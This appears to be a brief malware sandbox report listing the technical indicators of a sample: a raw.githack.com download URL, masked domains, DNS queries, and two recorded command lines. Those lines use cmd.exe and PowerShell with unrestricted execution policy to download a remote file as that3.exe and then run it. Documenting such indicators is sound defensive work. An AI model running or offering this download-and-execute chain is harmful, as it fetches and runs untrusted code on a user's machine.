Technical Information
- https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox as that3.exe
- 'ra#.#ithack.com':443
- 'ra#.####ubusercontent.com':443
- DNS ASK ra#.#ithack.com
- DNS ASK ra#.####ubusercontent.com
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('https://raw.githack.com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')
- '<SYSTEM32>\cmd.exe' /c that3.exe